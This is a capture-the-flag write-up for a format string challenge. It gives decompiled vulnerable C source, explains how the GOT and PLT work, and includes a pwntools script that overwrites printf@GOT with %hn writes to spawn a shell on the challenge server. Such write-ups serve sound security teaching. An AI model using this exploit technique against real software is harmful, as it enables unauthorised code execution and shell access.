A more detailed explanation can be found at[ our blog](https://ubcctf.github.io/2019/04/encryptctf-2019-pwn4/).
## Program Source
```int _(){  return system("/bin/bash");}
int __cdecl main(int argc, const char **argv, const char **envp){  char s; // [esp+1Ch] [ebp-84h]  unsigned int v5; // [esp+9Ch] [ebp-4h]
  v5 = __readgsdword(0x14u);  setvbuf(stdout, 0, 2, 0);  puts("Do you swear to use this shell with responsility by the old gods and the new?\n");  gets(&s);  printf(&s);  printf("\ni don't belive you!\n%s\n", &s);  return 0;}```
-----
## Simple GOT overwrite using format string bug Some tips:1. It's easier (to understand your own payload + calculate offsets) if you put all the necessary addresses at the very beginning of your payload2. If you have a negative offset that you have to overwrite, (e.g. you want to write 0x0804 but you already have outputted 0x8230 characters) you can use 0x10804 instead, with the %hn function in order to only write the last two bytes.3. PLT is read-only.
When you call a function, it jumps to PLT. PLT contains a jump to the GOT. GOT is a table, empty when you look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that another jump from the GOT will lead at the function at LIBC. 
-----
## POC
We want to write the address of `__` into `printf@GOT` so that when printf is called a second time (in main), it will jump to `__` instead and spawn a shell.
-----
## Exploit
```#!/usr/bin/env pythonfrom pwn import * 
r = remote("104.154.106.182", 5678)#r = process("./pwn4")
# buffer is 7th argument
printf_got1 = 0x080498fcprintf_got2 = 0x080498fe
system = 0x804853d
payload = ""
payload += p32(printf_got1)payload += p32(printf_got2)
# 8 bytes written
# printf -> system# 0x853d(34109)payload += "%34101c%7$hn"
# 0x10804(67588)payload += "%33479c%8$hn"
print r.recvuntil("by the old gods and the new?\n")
r.send(payload)r.interactive()```